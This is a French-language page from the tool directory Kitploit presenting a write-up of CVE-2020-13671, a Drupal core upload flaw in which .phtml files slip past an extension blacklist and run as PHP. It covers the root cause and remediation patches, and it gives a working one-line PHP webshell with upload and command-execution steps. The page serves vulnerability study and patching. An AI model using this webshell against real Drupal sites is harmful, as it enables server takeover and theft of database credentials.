Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-13671 — Analyse détaillée et preuve de concept pour CVE-2020-13671, une vulnérabilité d'exécution de code à distance du noyau Drupal via l'upload de fichiers, incluant la cause racine, les étapes d'exploitation et la remédiation. | Kitploit
Outils/GitHubGitHub/dungsocool/cve-2020-13671
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'Intrusion
GitHubdungsocool/cve-2020-13671

CVE-2020-13671

Analyse détaillée et preuve de concept pour CVE-2020-13671, une vulnérabilité d'exécution de code à distance du noyau Drupal via l'upload de fichiers, incluant la cause racine, les étapes d'exploitation et la remédiation.

Voir le dépôt
il y a 3 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2020-13671

RCE via l'upload de fichier — Drupal Core

Logiciel : Drupal Core 8.7.5 (Versions affectées : 7.x < 7.78, 8.x < 8.8.11, 8.9.x < 8.9.9, 9.0.x < 9.0.8)
CVSS : 8.8 (Élevé)
CWE : CWE-434 — Téléversement sans restriction de fichier de type dangereux
CISA KEV : Oui — Vulnérabilité connue et exploitée
Avis : SA-CORE-2020-012


Qu'est-ce que Drupal

Drupal est un système de gestion de contenu (CMS) open source écrit en PHP, similaire à WordPress ou Joomla, mais davantage orienté vers la construction de systèmes plus complexes — sites d'entreprise, plateformes multilingues. Drupal utilise une architecture modulaire, permettant d'étendre les fonctionnalités en activant/désactivant les modules disponibles ou en installant des modules supplémentaires issus de la communauté.

L'une des fonctions de base de tout CMS est de permettre aux utilisateurs de téléverser des fichiers — avatars de profil, documents joints, pièces jointes dans les articles. Drupal enregistre ces fichiers dans le répertoire sites/default/files/ et les sert directement via le serveur web (Apache ou Nginx).

⇒ Cela crée une surface d'attaque évidente : si un attaquant parvient à téléverser un fichier PHP dans ce répertoire, le serveur web l'exécutera lorsqu'il sera accédé via une requête entrante.

Pour empêcher cela, Drupal met en place plusieurs couches de défense : validation des extensions de fichiers, renommage des fichiers dangereux, placement d'un .htaccess pour bloquer l'exécution de scripts dans le répertoire de téléversement. Mais dans la version 8.7.5, les attaquants exploitent exactement l'angle mort de ces couches.

Conditions d'exploitation

Cette vulnérabilité nécessite un compte disposant des autorisations de téléversement de fichiers. Par défaut dans Drupal 8.7.5, les utilisateurs réguliers (Authenticated) n'ont que les autorisations de voir le contenu et de poster des commentaires — aucune autorisation de créer des articles ou de téléverser des fichiers.

CompteExploitable ?Explication
AdminOuiAutorisations de téléversement complètes
Éditeur / Créateur de contenuOuiSi la permission « Créer du contenu » avec téléversement est accordée par l'admin
Utilisateur authentifié (par défaut)NonPar défaut, aucune permission de créer du contenu ou de téléverser
Anonyme (non connecté)NonAucune permission de téléversement

Cependant, dans la pratique, de nombreux sites Drupal accordent aux utilisateurs réguliers des permissions de création de contenu (forums, blogs communautaires, sites d'actualités permettant la soumission d'articles). Dans ces cas, un attaquant n'a besoin que de créer un compte pour l'exploiter.

Déroulement de l'attaque :

root@kitploit:~
Attacker with upload-privileged account → Create article (Article)
→ Upload webshell.phtml via Image/File attachment field
→ Drupal saves the file with its original name into sites/default/files/
→ Attacker accesses the file URL → Apache executes PHP → RCE

Cause racine ( ROOT CAUSE )

Dans le fichier core/modules/file/file.module, il existe une seule regex qui détermine quels fichiers sont considérés comme exécutables :

root@kitploit:~
define('FILE_INSECURE_EXTENSION_REGEX', '/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i');

image.png

Cette regex liste 7 extensions : phar, php, pl, py, cgi, asp, js. Tout fichier dont l'extension correspond à cette liste se verra automatiquement ajouter .txt par Drupal — neutralisant ainsi sa capacité d'exécution.

Cependant, le moteur PHP ne traite pas uniquement les fichiers .php. Selon la configuration du serveur web, il reconnaît et exécute également d'autres extensions :

ExtensionSignificationIncluse dans la regex ?
.phpPHP standardOui
.phtmlTemplate alternatif PHPNon
.php5Gestionnaire PHP 5Non
.phtTemplate PHPNon
.phpsSource PHPNon
.shtmlServer-Side IncludesNon

5 variantes d'extension PHP sont complètement absentes de la regex. Cela signifie qu'un fichier nommé shell.phtml envoyé à Drupal → la regex ne correspond pas → pas de renommage → enregistré avec son nom d'origine dans le répertoire de téléversement → le serveur web voit .phtml → l'exécute en tant que PHP → l'attaquant obtient une RCE. C'est la cause racine : Drupal utilisait une liste noire pour bloquer les extensions dangereuses, mais cette liste était incomplète.

Analyse de chaque couche de défense

Lorsqu'un utilisateur téléverse un fichier, Drupal le fait passer par 3 fonctions de validation avant l'enregistrement. Voici une analyse de la raison pour laquelle ces 3 fonctions échouent avec .phtml.

Couche 1 — file_munge_filename() (core/includes/file.inc)

Objectif : détecter les extensions dangereuses situées au milieu du nom de fichier et ajouter _ pour les neutraliser. Comment fonctionne cette fonction :

image.png

root@kitploit:~
$filename_parts = explode('.', $filename);    // split filename by "."
$new_filename = array_shift($filename_parts); // get the first part = original name
$final_extension = array_pop($filename_parts); // get the last part = final extension

foreach ($filename_parts as $filename_part) {
    // iterate over the MIDDLE parts
    // if any part looks like a dangerous extension → append "_"
}
return $new_filename . '.' . $final_extension;

Par exemple avec shell.phtml :

  • explode divise en ["shell", "phtml"]
  • shift prend "shell", laissant ["phtml"]
  • pop prend "phtml", laissant []
  • Le tableau du milieu est vide → foreach ne s'exécute pas
  • Retourne "shell.phtml" intact

Cependant, si le fichier n'a qu'une seule extension, cette fonction n'intervient pas. Elle est donc uniquement conçue pour traiter les fichiers avec plusieurs extensions.

Couche 2 — FILE_INSECURE_EXTENSION_REGEX (file.module:1015)

C'est la couche de défense principale. Code à la ligne 1015 :

image.png

root@kitploit:~
if (!\Drupal::config('system.file')->get('allow_insecure_uploads')
    && preg_match(FILE_INSECURE_EXTENSION_REGEX, $file->getFilename())
    && (substr($file->getFilename(), -4) != '.txt')) {
    $file->setMimeType('text/plain');
    $file->setFilename($file->getFilename() . '.txt');
}

Si le nom de fichier correspond à la regex → le MIME est changé en text/plain et .txt est ajouté à la fin.

Avec shell.phtml :

  • preg_match('/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i', 'shell.phtml') retourne 0
  • Pas de correspondance → n'entre pas dans le bloc if → le fichier conserve son nom d'origine Ainsi, cette section aurait dû bloquer les fichiers dangereux, mais comme la regex ne sait pas que .phtml est dangereux, elle passe au travers.

Couche 3 — .htaccess dans le répertoire de téléversement

Drupal place un fichier .htaccess dans sites/default/files/ :

root@kitploit:~
SetHandler Drupal_Security_Do_Not_Remove_See_SA_2006_006
<Files *>
  SetHandler Drupal_Security_Do_Not_Remove_See_SA_2013_003
</Files>

<IfModule mod_php5.c>
  php_flag engine off
</IfModule>

La directive php_flag engine off désactive le moteur PHP pour tout le répertoire, mais elle ne s'applique qu'à mod_php5. Drupal 8.7.5 fonctionne sur PHP 7, ce qui signifie que mod_php7 est actif et non désactivé.

Et .htaccess présente également 3 autres faiblesses :

  • Nginx ne lit pas .htaccess — ce fichier est complètement inefficace sur Nginx
  • Apache configuré avec AllowOverride None → .htaccess est ignoré
  • Les serveurs utilisant PHP-FPM au lieu de mod_php → la directive php_flag n'a aucun effet

Exploitation

Étape 1 — Créer le webshell

root@kitploit:~
echo '<?php echo shell_exec($_GET["cmd"]); ?>' > webshell.phtml

Étape 2 — Téléverser le fichier

Connectez-vous à Drupal avec un compte disposant des autorisations de téléversement → Contenu → Ajouter du contenu → Article → dans le champ Image, sélectionnez le fichier webshell.phtml → Téléverser.

Drupal accepte le fichier, ne le renomme pas, et l'enregistre avec son nom d'origine dans sites/default/files/.

image.png

Étape 3 — Exécuter le webshell

Après cela, exécutez l'appel shell avec whoami :

image.png

Ainsi, nous avons réussi à obtenir une RCE en tant que www-data.

Test supplémentaire pour afficher les identifiants :

image.png

Résultat

L'attaquant peut lire settings.php contenant les identifiants de la base de données, dumper toute la base, installer un reverse shell, ou élever ses privilèges jusqu'à root.

Remédiation

Mettre à jour la regex — ajouter les 5 extensions manquantes :

root@kitploit:~
// Before:
'/\.(phar|php|pl|py|cgi|asp|js)(\.|$)/i'

// After:
'/\.(phar|php|pl|py|cgi|asp|js|phtml|php5|pht|phps|shtml)(\.|$)/i'

Mettre à jour .htaccess — ajouter la désactivation pour mod_php7 :

root@kitploit:~
<IfModule mod_php7.c>
  php_flag engine off
</IfModule>

Le patch fonctionne mais repose toujours sur une liste noire. Si de nouvelles extensions apparaissent à l'avenir (.php8, .phpt), la regex devra être à nouveau mise à jour. Une liste blanche — n'autorisant que les extensions connues comme sûres — serait une approche plus rigoureuse.

Résumé

Fichier vulnérablecore/modules/file/file.module ligne 28
Cause racineLa liste noire de la regex ne contient pas .phtml, .php5, .pht, .phps, .shtml
ImpactTéléversement de .phtml → exécution par le serveur → RCE
3 couches de défense contournéesfile_munge_filename() → FILE_INSECURE_EXTENSION_REGEX → .htaccess
CorrectifAjouter 5 extensions à la regex + désactiver mod_php7 dans .htaccess
Télécharger l’outil